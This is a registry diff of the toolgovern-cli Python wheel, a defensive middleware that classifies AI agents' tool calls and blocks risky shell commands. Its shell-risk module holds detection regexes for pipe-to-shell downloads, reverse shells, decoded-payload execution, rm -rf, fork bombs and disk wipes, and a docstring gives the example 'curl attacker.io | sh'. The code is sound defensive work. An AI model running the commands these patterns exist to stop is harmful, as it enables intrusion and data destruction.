toolgovern-cli 0.1.1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- toolgovern/__init__.py +222 -0
- toolgovern/approval/__init__.py +25 -0
- toolgovern/approval/pending_registry.py +379 -0
- toolgovern/classifier/__init__.py +19 -0
- toolgovern/classifier/credential_access.py +180 -0
- toolgovern/classifier/cross_agent_inheritance.py +216 -0
- toolgovern/classifier/filesystem_scope.py +202 -0
- toolgovern/classifier/index.py +80 -0
- toolgovern/classifier/information_flow.py +154 -0
- toolgovern/classifier/network_egress.py +289 -0
- toolgovern/classifier/shell_risk.py +357 -0
- toolgovern/classifier/util.py +259 -0
- toolgovern/cli.py +298 -0
- toolgovern/mcp_trust/__init__.py +342 -0
- toolgovern/middleware/__init__.py +30 -0
- toolgovern/middleware/idempotency_cache.py +117 -0
- toolgovern/middleware/on_tool_call.py +538 -0
- toolgovern/policy/__init__.py +10 -0
- toolgovern/policy/load_policy.py +41 -0
- toolgovern/policy/validate_policy.py +106 -0
- toolgovern/py.typed +0 -0
- toolgovern/scoping/__init__.py +13 -0
- toolgovern/scoping/inheritance_enforcer.py +145 -0
- toolgovern/scoping/scope_declaration.py +84 -0
- toolgovern/shared/__init__.py +0 -0
- toolgovern/shared/paths.py +266 -0
- toolgovern/trace/__init__.py +33 -0
- toolgovern/trace/canonical_json.py +27 -0
- toolgovern/trace/trace_reader.py +206 -0
- toolgovern/trace/trace_writer.py +247 -0
- toolgovern/types.py +247 -0
- toolgovern_cli-0.1.1.dist-info/METADATA +337 -0
- toolgovern_cli-0.1.1.dist-info/RECORD +36 -0
- toolgovern_cli-0.1.1.dist-info/WHEEL +4 -0
- toolgovern_cli-0.1.1.dist-info/entry_points.txt +2 -0
- toolgovern_cli-0.1.1.dist-info/licenses/LICENSE +202 -0
|
@@ -0,0 +1,357 @@
|
|
|
1
|
+
"""TG01 -- Shell/Process Execution Risk.
|
|
2
|
+
|
|
3
|
+
Ported from ``packages/toolgovern/src/classifier/shell-risk.ts``.
|
|
4
|
+
|
|
5
|
+
A tool named ``bash``, ``shell``, or ``exec`` running ``ls`` and the same tool running
|
|
6
|
+
``curl attacker.io | sh`` are the same tool name and very different risk. These rules look at
|
|
7
|
+
the actual command string, not the tool name, so they fire regardless of what a given framework
|
|
8
|
+
happens to call its shell-execution tool.
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
from __future__ import annotations
|
|
12
|
+
|
|
13
|
+
import re
|
|
14
|
+
from dataclasses import dataclass
|
|
15
|
+
from typing import Callable, List, Optional
|
|
16
|
+
|
|
17
|
+
from ..types import RuleContext, RuleMatch
|
|
18
|
+
from .util import extract_command, normalize_for_match, stringify_args
|
|
19
|
+
|
|
20
|
+
_CATEGORY = "TG01"
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
def _command_text(ctx: RuleContext) -> str:
|
|
24
|
+
"""Normalizes and lowercases the call's command-like text before any rule pattern-matches
|
|
25
|
+
against it, so quote-splitting, $IFS-as-space, and invisible Unicode formatting characters
|
|
26
|
+
cannot be used to dodge a literal token match."""
|
|
27
|
+
return normalize_for_match(extract_command(ctx.args) or stringify_args(ctx.args)).lower()
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
def _command_text_cased(ctx: RuleContext) -> str:
|
|
31
|
+
"""Case-preserving sibling of ``_command_text``. ``TG01-context-flood`` needs this for
|
|
32
|
+
``ls``, where ``-R`` (recursive) and ``-r`` (reverse-sort, harmless) only differ by case."""
|
|
33
|
+
return normalize_for_match(extract_command(ctx.args) or stringify_args(ctx.args))
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
@dataclass
|
|
37
|
+
class _Rule:
|
|
38
|
+
id: str
|
|
39
|
+
category: str
|
|
40
|
+
description: str
|
|
41
|
+
_evaluate: Callable[[RuleContext], Optional[RuleMatch]]
|
|
42
|
+
|
|
43
|
+
def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]:
|
|
44
|
+
return self._evaluate(ctx)
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
def _match(rule_id: str, decision: str, reason: str, matched_argument: str) -> RuleMatch:
|
|
48
|
+
return RuleMatch(
|
|
49
|
+
rule_id=rule_id,
|
|
50
|
+
category=_CATEGORY, # type: ignore[arg-type]
|
|
51
|
+
decision=decision, # type: ignore[arg-type]
|
|
52
|
+
reason=reason,
|
|
53
|
+
matched_argument=matched_argument,
|
|
54
|
+
)
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
# Captures the whole `rm` invocation up to the next command separator (;, &, |, newline) or end
|
|
58
|
+
# of string -- a single bounded negated-character-class capture, so no nested quantifiers and no
|
|
59
|
+
# ReDoS exposure (same safety class as the rest of this file's patterns). The captured segment is
|
|
60
|
+
# tokenized and scanned in full below rather than requiring flags to sit in one contiguous run
|
|
61
|
+
# immediately after `rm`: GNU coreutils' getopt permutes argv, so `rm -f /home/victim -r` still
|
|
62
|
+
# executes as `rm -rf /home/victim` even though the `-r` trails the path -- a
|
|
63
|
+
# flags-must-be-contiguous-and-leading regex misses that entirely.
|
|
64
|
+
_RM_SEGMENT_PATTERN = re.compile(r"\brm\s+([^;&|\n]*)", re.IGNORECASE)
|
|
65
|
+
|
|
66
|
+
# Matches both short combined flags (-rf, -fr) and GNU long flags (--recursive, --force) -- the
|
|
67
|
+
# character class already covers hyphens, so a long flag like --recursive (16 chars after the
|
|
68
|
+
# leading -) matches this bound without a separate long-flag alternative.
|
|
69
|
+
_FLAG_TOKEN_PATTERN = re.compile(r"^-[a-z-]{1,18}$")
|
|
70
|
+
|
|
71
|
+
|
|
72
|
+
def _rm_rf_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
73
|
+
text = _command_text(ctx)
|
|
74
|
+
found = _RM_SEGMENT_PATTERN.search(text)
|
|
75
|
+
if not found:
|
|
76
|
+
return None
|
|
77
|
+
tokens = found.group(1).strip().split()
|
|
78
|
+
has_force = False
|
|
79
|
+
has_recursive = False
|
|
80
|
+
target = ""
|
|
81
|
+
for token in tokens:
|
|
82
|
+
if _FLAG_TOKEN_PATTERN.match(token):
|
|
83
|
+
if "f" in token:
|
|
84
|
+
has_force = True
|
|
85
|
+
if "r" in token:
|
|
86
|
+
has_recursive = True
|
|
87
|
+
continue
|
|
88
|
+
if not target:
|
|
89
|
+
target = token
|
|
90
|
+
if not has_force or not has_recursive:
|
|
91
|
+
return None
|
|
92
|
+
high_blast_radius = bool(re.match(r"^(/|~|\*|\.$|\./\*?$)", target)) or target == ""
|
|
93
|
+
if not high_blast_radius:
|
|
94
|
+
return None
|
|
95
|
+
return _match(
|
|
96
|
+
"TG01-rm-rf",
|
|
97
|
+
"deny",
|
|
98
|
+
"rm -rf (or equivalent) targeting a root/home/wildcard path.",
|
|
99
|
+
found.group(0),
|
|
100
|
+
)
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
_DECODE_STEP_PATTERN = re.compile(
|
|
104
|
+
r"\b(base64\s+(-d|--decode)\b|openssl\s+(base64|enc)\s+[^|]*-d\b|xxd\s+-r\b|"
|
|
105
|
+
r"certutil\s+-decode\b|python[0-9.]*\s+-c\s*['\"].*b64decode)",
|
|
106
|
+
re.IGNORECASE,
|
|
107
|
+
)
|
|
108
|
+
_FEEDS_EXECUTION_PATTERN = re.compile(
|
|
109
|
+
r"(\|\s*(sudo\s+)?(sh|bash|zsh|python[0-9.]*|perl|node)\b|`|\$\(|\b(sh|bash)\s+-c\b|"
|
|
110
|
+
r"\beval\b|\bexec\b)",
|
|
111
|
+
re.IGNORECASE,
|
|
112
|
+
)
|
|
113
|
+
|
|
114
|
+
|
|
115
|
+
def _decoded_payload_execution_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
116
|
+
text = _command_text(ctx)
|
|
117
|
+
if not _DECODE_STEP_PATTERN.search(text):
|
|
118
|
+
return None
|
|
119
|
+
if not _FEEDS_EXECUTION_PATTERN.search(text):
|
|
120
|
+
return None
|
|
121
|
+
return _match(
|
|
122
|
+
"TG01-decoded-payload-execution",
|
|
123
|
+
"deny",
|
|
124
|
+
"Decoded payload (base64/hex/etc.) is piped or substituted into a shell/interpreter for execution.",
|
|
125
|
+
text[:200],
|
|
126
|
+
)
|
|
127
|
+
|
|
128
|
+
|
|
129
|
+
_PIPE_TO_SHELL_PATTERN = re.compile(
|
|
130
|
+
r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(sh|bash|zsh|python[0-9.]*|perl|node)\b", re.IGNORECASE
|
|
131
|
+
)
|
|
132
|
+
|
|
133
|
+
|
|
134
|
+
def _pipe_to_shell_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
135
|
+
text = _command_text(ctx)
|
|
136
|
+
found = _PIPE_TO_SHELL_PATTERN.search(text)
|
|
137
|
+
if not found:
|
|
138
|
+
return None
|
|
139
|
+
return _match(
|
|
140
|
+
"TG01-pipe-to-shell",
|
|
141
|
+
"deny",
|
|
142
|
+
"Pipe-to-shell pattern: remote payload executed without inspection.",
|
|
143
|
+
found.group(0),
|
|
144
|
+
)
|
|
145
|
+
|
|
146
|
+
|
|
147
|
+
_SUDO_PATTERN = re.compile(r"\b(sudo|doas)\s+\S+", re.IGNORECASE)
|
|
148
|
+
|
|
149
|
+
|
|
150
|
+
def _sudo_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
151
|
+
text = _command_text(ctx)
|
|
152
|
+
found = _SUDO_PATTERN.search(text)
|
|
153
|
+
if not found:
|
|
154
|
+
return None
|
|
155
|
+
return _match(
|
|
156
|
+
"TG01-sudo", "require-approval", "Command escalates privileges via sudo/doas.", found.group(0)
|
|
157
|
+
)
|
|
158
|
+
|
|
159
|
+
|
|
160
|
+
# Same segment-then-tokenize approach as _RM_SEGMENT_PATTERN above, for the same reason: a
|
|
161
|
+
# preceding-flag-group regex ((-[a-z]+\s+)?) fails to match GNU long flags like --recursive (the
|
|
162
|
+
# second character is -, not a-z), which makes the *entire* match fail rather than just the flag
|
|
163
|
+
# capture -- `chmod --recursive 777 /path` matched nothing at all under the old pattern. Scanning
|
|
164
|
+
# every token in the segment means flag form/position/count no longer matter; only whether a
|
|
165
|
+
# dangerous permission argument appears anywhere in the command.
|
|
166
|
+
_CHMOD_SEGMENT_PATTERN = re.compile(r"\bchmod\s+([^;&|\n]*)", re.IGNORECASE)
|
|
167
|
+
_CHMOD_DANGEROUS_PERMISSION_PATTERN = re.compile(r"^(777|a\+rwx|o\+w|0777)$", re.IGNORECASE)
|
|
168
|
+
|
|
169
|
+
|
|
170
|
+
def _chmod_777_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
171
|
+
text = _command_text(ctx)
|
|
172
|
+
found = _CHMOD_SEGMENT_PATTERN.search(text)
|
|
173
|
+
if not found:
|
|
174
|
+
return None
|
|
175
|
+
tokens = found.group(1).strip().split()
|
|
176
|
+
dangerous = next((t for t in tokens if _CHMOD_DANGEROUS_PERMISSION_PATTERN.match(t)), None)
|
|
177
|
+
if not dangerous:
|
|
178
|
+
return None
|
|
179
|
+
return _match(
|
|
180
|
+
"TG01-chmod-777",
|
|
181
|
+
"deny",
|
|
182
|
+
"chmod grants world-writable or world-executable permissions.",
|
|
183
|
+
found.group(0),
|
|
184
|
+
)
|
|
185
|
+
|
|
186
|
+
|
|
187
|
+
_FORK_BOMB_PATTERN = re.compile(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&?\s*\}\s*;\s*:")
|
|
188
|
+
|
|
189
|
+
|
|
190
|
+
def _fork_bomb_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
191
|
+
text = _command_text(ctx)
|
|
192
|
+
found = _FORK_BOMB_PATTERN.search(text)
|
|
193
|
+
if not found:
|
|
194
|
+
return None
|
|
195
|
+
return _match(
|
|
196
|
+
"TG01-fork-bomb", "deny", "Fork-bomb pattern -- unbounded process spawning.", found.group(0)
|
|
197
|
+
)
|
|
198
|
+
|
|
199
|
+
|
|
200
|
+
_REVERSE_SHELL_PATTERN = re.compile(
|
|
201
|
+
r"(nc\s+-e\s+\S+|/dev/tcp/\S+|bash\s+-i\s*>&\s*/dev/tcp)", re.IGNORECASE
|
|
202
|
+
)
|
|
203
|
+
|
|
204
|
+
|
|
205
|
+
def _reverse_shell_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
206
|
+
text = _command_text(ctx)
|
|
207
|
+
found = _REVERSE_SHELL_PATTERN.search(text)
|
|
208
|
+
if not found:
|
|
209
|
+
return None
|
|
210
|
+
return _match(
|
|
211
|
+
"TG01-reverse-shell",
|
|
212
|
+
"deny",
|
|
213
|
+
"Reverse-shell / raw TCP socket redirection pattern.",
|
|
214
|
+
found.group(0),
|
|
215
|
+
)
|
|
216
|
+
|
|
217
|
+
|
|
218
|
+
_DISK_WIPE_PATTERN = re.compile(
|
|
219
|
+
r"\b(mkfs(\.\w+)?\s+/dev/|dd\s+[^|]*of=/dev/(sd|hd|nvme|disk)\w*)", re.IGNORECASE
|
|
220
|
+
)
|
|
221
|
+
|
|
222
|
+
|
|
223
|
+
def _disk_wipe_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
224
|
+
text = _command_text(ctx)
|
|
225
|
+
found = _DISK_WIPE_PATTERN.search(text)
|
|
226
|
+
if not found:
|
|
227
|
+
return None
|
|
228
|
+
return _match(
|
|
229
|
+
"TG01-disk-wipe", "deny", "Direct write/format targeting a raw block device.", found.group(0)
|
|
230
|
+
)
|
|
231
|
+
|
|
232
|
+
|
|
233
|
+
# A bare ~, *, or the current directory (., ./, ./*) -- the same "no real scope" shape
|
|
234
|
+
# TG01-rm-rf's high_blast_radius check treats as high-risk. An empty string (no path argument
|
|
235
|
+
# captured at all) counts the same way: there is nothing bounding how much output comes back.
|
|
236
|
+
#
|
|
237
|
+
# Absolute paths are handled separately below by depth rather than by a bare "starts with /"
|
|
238
|
+
# check: unlike rm -rf, where any leading / is a reasonable danger proxy, a deep, specific
|
|
239
|
+
# absolute path is exactly the pattern well-behaved coding agents are expected to use and must
|
|
240
|
+
# not be flagged just because it's absolute.
|
|
241
|
+
def _is_unscoped_path(target: str) -> bool:
|
|
242
|
+
if target == "":
|
|
243
|
+
return True
|
|
244
|
+
if re.match(r"^(~|\*|\.$|\./\*?$)", target):
|
|
245
|
+
return True
|
|
246
|
+
if target.startswith("/"):
|
|
247
|
+
# Root or shallow (<=2 segments after stripping the leading /) is still broad enough to
|
|
248
|
+
# enumerate a huge fraction of the filesystem. 3+ segments is specific enough to be a
|
|
249
|
+
# genuinely scoped target and is not flagged.
|
|
250
|
+
segments = [s for s in target.split("/") if s]
|
|
251
|
+
return len(segments) <= 2
|
|
252
|
+
return False
|
|
253
|
+
|
|
254
|
+
|
|
255
|
+
# Flag tokens are bounded and \s+-separated for the same ReDoS-avoidance reason as RM_PATTERN
|
|
256
|
+
# above. Group 1 is the flag cluster, group 2 (optional) is the path argument immediately
|
|
257
|
+
# following it.
|
|
258
|
+
_LS_PATTERN = re.compile(r"\bls\s+((?:-[a-z-]{1,16}\s+)*-[a-z-]{1,16})(?:\s+(\S+))?", re.IGNORECASE)
|
|
259
|
+
|
|
260
|
+
# find's first positional argument is conventionally its search root. This is a regex-level
|
|
261
|
+
# approximation, not real argv parsing -- a leading option before the path (find -L / ...) will
|
|
262
|
+
# not be captured as the target and this rule will simply miss it, consistent with this file's
|
|
263
|
+
# existing "false negative over false positive" bias.
|
|
264
|
+
_FIND_PATTERN = re.compile(r"\bfind\s+(\S+)", re.IGNORECASE)
|
|
265
|
+
_FIND_MAXDEPTH_PATTERN = re.compile(r"-maxdepth\s+\d+", re.IGNORECASE)
|
|
266
|
+
|
|
267
|
+
# Group 1 is the flag cluster -- -[a-z-]{1,20} already matches --recursive (the class includes
|
|
268
|
+
# the hyphen, so the second leading dash is consumed by it too), so no separate long-flag
|
|
269
|
+
# alternative is needed. The first non-capturing group consumes the search pattern (quoted or
|
|
270
|
+
# bare); group 2 (optional) is the path argument that follows it.
|
|
271
|
+
_GREP_RECURSIVE_PATTERN = re.compile(
|
|
272
|
+
r"\bgrep\s+((?:-[a-z-]{1,20}\s+)*-[a-z-]{1,20})\s+(?:\"[^\"]*\"|'[^']*'|\S+)(?:\s+(\S+))?",
|
|
273
|
+
re.IGNORECASE,
|
|
274
|
+
)
|
|
275
|
+
|
|
276
|
+
# A ** globstar segment anywhere in a cat target -- a single-level glob (cat *.log) is common
|
|
277
|
+
# and usually bounded by directory size; a recursive globstar has no such bound.
|
|
278
|
+
_CAT_GLOBSTAR_PATTERN = re.compile(r"\bcat\s+\S*\*\*\S*", re.IGNORECASE)
|
|
279
|
+
|
|
280
|
+
|
|
281
|
+
def _context_flood_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
|
|
282
|
+
cased = _command_text_cased(ctx)
|
|
283
|
+
|
|
284
|
+
ls_found = _LS_PATTERN.search(cased)
|
|
285
|
+
if ls_found:
|
|
286
|
+
flags = ls_found.group(1) or ""
|
|
287
|
+
target = ls_found.group(2) or ""
|
|
288
|
+
# -R (capital) is recursive; -r (lowercase) is reverse-sort order and harmless here --
|
|
289
|
+
# this is exactly why this check runs against the case-preserving `cased` text.
|
|
290
|
+
if "R" in flags and _is_unscoped_path(target):
|
|
291
|
+
return _match(
|
|
292
|
+
"TG01-context-flood",
|
|
293
|
+
"require-approval",
|
|
294
|
+
"Recursive `ls -R` with no scoped path -- can dump an unbounded directory tree into context.",
|
|
295
|
+
ls_found.group(0),
|
|
296
|
+
)
|
|
297
|
+
|
|
298
|
+
find_found = _FIND_PATTERN.search(cased)
|
|
299
|
+
if (
|
|
300
|
+
find_found
|
|
301
|
+
and not _FIND_MAXDEPTH_PATTERN.search(cased)
|
|
302
|
+
and _is_unscoped_path(find_found.group(1) or "")
|
|
303
|
+
):
|
|
304
|
+
return _match(
|
|
305
|
+
"TG01-context-flood",
|
|
306
|
+
"require-approval",
|
|
307
|
+
"`find` over an unscoped root with no -maxdepth -- can enumerate an unbounded number of results.",
|
|
308
|
+
find_found.group(0),
|
|
309
|
+
)
|
|
310
|
+
|
|
311
|
+
grep_found = _GREP_RECURSIVE_PATTERN.search(cased)
|
|
312
|
+
if grep_found:
|
|
313
|
+
flags = grep_found.group(1) or ""
|
|
314
|
+
target = grep_found.group(2) or ""
|
|
315
|
+
# Unlike ls, grep's -r and -R are both recursive (no reverse-sort ambiguity), so a
|
|
316
|
+
# plain case-insensitive check for the letter r in the flag cluster is enough.
|
|
317
|
+
if re.search("r", flags, re.IGNORECASE) and _is_unscoped_path(target):
|
|
318
|
+
return _match(
|
|
319
|
+
"TG01-context-flood",
|
|
320
|
+
"require-approval",
|
|
321
|
+
"Recursive `grep -r`/`-R` with no scoped path -- can flood context with matches from an entire filesystem tree.",
|
|
322
|
+
grep_found.group(0),
|
|
323
|
+
)
|
|
324
|
+
|
|
325
|
+
cat_found = _CAT_GLOBSTAR_PATTERN.search(cased)
|
|
326
|
+
if cat_found:
|
|
327
|
+
return _match(
|
|
328
|
+
"TG01-context-flood",
|
|
329
|
+
"require-approval",
|
|
330
|
+
"`cat` over a recursive globstar -- can concatenate an unbounded number of files into context.",
|
|
331
|
+
cat_found.group(0),
|
|
332
|
+
)
|
|
333
|
+
|
|
334
|
+
return None
|
|
335
|
+
|
|
336
|
+
|
|
337
|
+
shell_risk_rules: List[_Rule] = [
|
|
338
|
+
_Rule("TG01-rm-rf", _CATEGORY, "Recursive/forced delete of a root, home, or wildcard-rooted path.", _rm_rf_evaluate),
|
|
339
|
+
_Rule("TG01-pipe-to-shell", _CATEGORY, "A download (curl/wget) piped directly into a shell or interpreter.", _pipe_to_shell_evaluate),
|
|
340
|
+
_Rule("TG01-sudo", _CATEGORY, "Privilege escalation via sudo/doas.", _sudo_evaluate),
|
|
341
|
+
_Rule("TG01-chmod-777", _CATEGORY, "World-writable/executable permission grant.", _chmod_777_evaluate),
|
|
342
|
+
_Rule("TG01-fork-bomb", _CATEGORY, "Classic shell fork-bomb pattern.", _fork_bomb_evaluate),
|
|
343
|
+
_Rule("TG01-reverse-shell", _CATEGORY, "Reverse-shell / raw TCP redirection patterns.", _reverse_shell_evaluate),
|
|
344
|
+
_Rule("TG01-disk-wipe", _CATEGORY, "Direct disk/block-device overwrite.", _disk_wipe_evaluate),
|
|
345
|
+
_Rule(
|
|
346
|
+
"TG01-decoded-payload-execution",
|
|
347
|
+
_CATEGORY,
|
|
348
|
+
"A base64/hex-decoded (or similarly obfuscated) payload is fed into a shell or interpreter for execution, without a literal curl/wget token for TG01-pipe-to-shell to match.",
|
|
349
|
+
_decoded_payload_execution_evaluate,
|
|
350
|
+
),
|
|
351
|
+
_Rule(
|
|
352
|
+
"TG01-context-flood",
|
|
353
|
+
_CATEGORY,
|
|
354
|
+
"Read-only, high-output-volume command (unscoped recursive listing/search/concatenation) that risks flooding the agent context window rather than a security breach.",
|
|
355
|
+
_context_flood_evaluate,
|
|
356
|
+
),
|
|
357
|
+
]
|
|
@@ -0,0 +1,259 @@
|
|
|
1
|
+
"""Shared argument-extraction helpers for rule implementations.
|
|
2
|
+
|
|
3
|
+
Ported from ``packages/toolgovern/src/classifier/util.ts``.
|
|
4
|
+
|
|
5
|
+
Real tool-call argument shapes vary a lot across frameworks -- a shell tool might name its
|
|
6
|
+
argument ``command``, ``cmd``, or ``script``. Rather than force every framework to normalize to
|
|
7
|
+
one schema before toolgovern can evaluate a call, each rule looks for a small set of common key
|
|
8
|
+
names and falls back to scanning the stringified argument bag. This is deliberately permissive
|
|
9
|
+
(a false negative here is worse than a rare false positive from the string fallback).
|
|
10
|
+
"""
|
|
11
|
+
|
|
12
|
+
from __future__ import annotations
|
|
13
|
+
|
|
14
|
+
import re
|
|
15
|
+
import unicodedata
|
|
16
|
+
from typing import Any, List, Mapping, Optional, Sequence
|
|
17
|
+
|
|
18
|
+
from ..shared.paths import (
|
|
19
|
+
contains_path_traversal as contains_path_traversal,
|
|
20
|
+
is_ip_literal as is_ip_literal,
|
|
21
|
+
is_path_within as is_path_within,
|
|
22
|
+
is_private_or_metadata_target as is_private_or_metadata_target,
|
|
23
|
+
normalize_host as normalize_host,
|
|
24
|
+
normalize_path as normalize_path,
|
|
25
|
+
)
|
|
26
|
+
|
|
27
|
+
_COMMAND_KEYS = ["command", "cmd", "script", "shell", "code"]
|
|
28
|
+
_PATH_KEYS = ["path", "target", "dest", "destination", "file", "filepath", "file_path"]
|
|
29
|
+
_OPERATION_KEYS = ["operation", "op", "action", "mode"]
|
|
30
|
+
_HOST_KEYS = ["host", "hostname", "url", "uri", "endpoint", "address"]
|
|
31
|
+
_CREDENTIAL_KEYS = ["credential", "secret", "secretName", "credentialId"]
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
def _first_string(args: Mapping[str, Any], keys: Sequence[str]) -> Optional[str]:
|
|
35
|
+
for key in keys:
|
|
36
|
+
value = args.get(key)
|
|
37
|
+
if isinstance(value, str) and len(value) > 0:
|
|
38
|
+
return value
|
|
39
|
+
return None
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
def extract_command(args: Mapping[str, Any]) -> Optional[str]:
|
|
43
|
+
"""Extracts a shell-command-like string from common argument key names."""
|
|
44
|
+
return _first_string(args, _COMMAND_KEYS)
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
def extract_code_text(args: Mapping[str, Any]) -> Optional[str]:
|
|
48
|
+
"""Extracts the raw ``code`` string argument a code-execution tool was invoked with, if any."""
|
|
49
|
+
value = args.get("code")
|
|
50
|
+
return value if isinstance(value, str) and len(value) > 0 else None
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
_CODE_FILE_CALL_PATTERN = re.compile(
|
|
54
|
+
r"\b(?:open|readfile|readfilesync|writefile|writefilesync|unlink|unlinksync|rmsync|"
|
|
55
|
+
r"rmdirsync|chmod|chown|chmodsync|chownsync|os\.remove|os\.unlink|os\.rmdir|os\.chmod|"
|
|
56
|
+
r"os\.chown|fs\.chmod|fs\.chown|shutil\.rmtree|shutil\.copy\w*)\s*\(\s*[\"']([^\"']+)[\"']",
|
|
57
|
+
re.IGNORECASE,
|
|
58
|
+
)
|
|
59
|
+
_CODE_BARE_PATH_PATTERN = re.compile(r"[\"'`]((?:\.\./)+[^\"'`]*|/(?:[\w.-]+/)*[\w.-]+)[\"'`]")
|
|
60
|
+
|
|
61
|
+
|
|
62
|
+
def extract_path_from_code(code: str) -> Optional[str]:
|
|
63
|
+
"""Scans a code-execution tool's ``code`` string for a path-like literal."""
|
|
64
|
+
call_match = _CODE_FILE_CALL_PATTERN.search(code)
|
|
65
|
+
if call_match and call_match.group(1):
|
|
66
|
+
return call_match.group(1)
|
|
67
|
+
bare_match = _CODE_BARE_PATH_PATTERN.search(code)
|
|
68
|
+
if bare_match and bare_match.group(1):
|
|
69
|
+
return bare_match.group(1)
|
|
70
|
+
return None
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
_CODE_DELETE_PATTERN = re.compile(
|
|
74
|
+
r"\b(?:os\.remove|os\.unlink|os\.rmdir|shutil\.rmtree|fs\.unlink|fs\.unlinksync|fs\.rm|"
|
|
75
|
+
r"fs\.rmsync|fs\.rmdir|fs\.rmdirsync|unlinksync|rmsync|rmdirsync)\s*\(",
|
|
76
|
+
re.IGNORECASE,
|
|
77
|
+
)
|
|
78
|
+
_CODE_CHMOD_PATTERN = re.compile(
|
|
79
|
+
r"\b(?:os\.chmod|os\.chown|fs\.chmod|fs\.chmodsync|fs\.chown|fs\.chownsync|chmodsync|"
|
|
80
|
+
r"chownsync)\s*\(",
|
|
81
|
+
re.IGNORECASE,
|
|
82
|
+
)
|
|
83
|
+
_CODE_WRITE_CALL_PATTERN = re.compile(
|
|
84
|
+
r"\b(?:writefile|writefilesync|fs\.writefile|fs\.writefilesync|os\.write)\s*\(",
|
|
85
|
+
re.IGNORECASE,
|
|
86
|
+
)
|
|
87
|
+
_CODE_OPEN_WRITE_MODE_PATTERN = re.compile(
|
|
88
|
+
r"\bopen\s*\([^)]*?,\s*[\"'](\w*[wax]\w*)[\"']", re.IGNORECASE
|
|
89
|
+
)
|
|
90
|
+
|
|
91
|
+
|
|
92
|
+
def extract_operation_from_code(code: str) -> Optional[str]:
|
|
93
|
+
"""Infers a write/delete/chmod operation from a code string's recognized call shapes."""
|
|
94
|
+
if _CODE_DELETE_PATTERN.search(code):
|
|
95
|
+
return "delete"
|
|
96
|
+
if _CODE_CHMOD_PATTERN.search(code):
|
|
97
|
+
return "chmod"
|
|
98
|
+
if _CODE_WRITE_CALL_PATTERN.search(code) or _CODE_OPEN_WRITE_MODE_PATTERN.search(code):
|
|
99
|
+
return "write"
|
|
100
|
+
return None
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
def extract_path(args: Mapping[str, Any]) -> Optional[str]:
|
|
104
|
+
"""Extracts a filesystem-path-like string from common argument key names, falling back to
|
|
105
|
+
scanning a ``code`` string argument when no path/target/dest-style key is present."""
|
|
106
|
+
direct = _first_string(args, _PATH_KEYS)
|
|
107
|
+
if direct:
|
|
108
|
+
return direct
|
|
109
|
+
code = extract_code_text(args)
|
|
110
|
+
return extract_path_from_code(code) if code else None
|
|
111
|
+
|
|
112
|
+
|
|
113
|
+
def extract_operation(args: Mapping[str, Any]) -> Optional[str]:
|
|
114
|
+
"""Extracts a declared filesystem operation (read/write/delete/chmod/...) if the tool
|
|
115
|
+
provides one, falling back to inferring one from a ``code`` string argument."""
|
|
116
|
+
direct = _first_string(args, _OPERATION_KEYS)
|
|
117
|
+
if direct:
|
|
118
|
+
return direct.lower()
|
|
119
|
+
code = extract_code_text(args)
|
|
120
|
+
return extract_operation_from_code(code) if code else None
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
def extract_host(args: Mapping[str, Any]) -> Optional[str]:
|
|
124
|
+
"""Extracts a network host/URL-like string from common argument key names."""
|
|
125
|
+
return _first_string(args, _HOST_KEYS)
|
|
126
|
+
|
|
127
|
+
|
|
128
|
+
def extract_credential_name(args: Mapping[str, Any]) -> Optional[str]:
|
|
129
|
+
"""Extracts a declared credential identifier from common argument key names."""
|
|
130
|
+
return _first_string(args, _CREDENTIAL_KEYS)
|
|
131
|
+
|
|
132
|
+
|
|
133
|
+
def stringify_args(args: Mapping[str, Any]) -> str:
|
|
134
|
+
"""Flattens every string value in the argument bag into one lowercase blob, used as a
|
|
135
|
+
fallback scan target for pattern rules when no known key name matches."""
|
|
136
|
+
parts: List[str] = []
|
|
137
|
+
for value in args.values():
|
|
138
|
+
if isinstance(value, str):
|
|
139
|
+
parts.append(value)
|
|
140
|
+
elif value is not None and not isinstance(value, (dict, list)):
|
|
141
|
+
parts.append(str(value))
|
|
142
|
+
return " ".join(parts).lower()
|
|
143
|
+
|
|
144
|
+
|
|
145
|
+
# Zero-width, bidi-control, and other invisible-format Unicode characters sometimes inserted
|
|
146
|
+
# mid-token to break a literal-substring or \b word-boundary match (e.g. "sudo" with a
|
|
147
|
+
# zero-width space spliced in). Stripped before pattern matching, never before execution.
|
|
148
|
+
# Built from \uXXXX escape sequences (text in this source file, not a pasted glyph) so no
|
|
149
|
+
# literal invisible/control character ever lives in this file, and compiled once into a single
|
|
150
|
+
# regex -- an earlier version of this function did the equivalent check with a pure-Python
|
|
151
|
+
# per-character loop, which was roughly 1000x slower on large inputs (a governance middleware
|
|
152
|
+
# that gates every tool call synchronously cannot afford tens of milliseconds per call just to
|
|
153
|
+
# strip formatting characters). Ranges: U+00AD soft hyphen, U+200B-200F zero-width
|
|
154
|
+
# space/joiners/marks, U+202A-202E bidi embedding/override controls, U+2060-2064 word
|
|
155
|
+
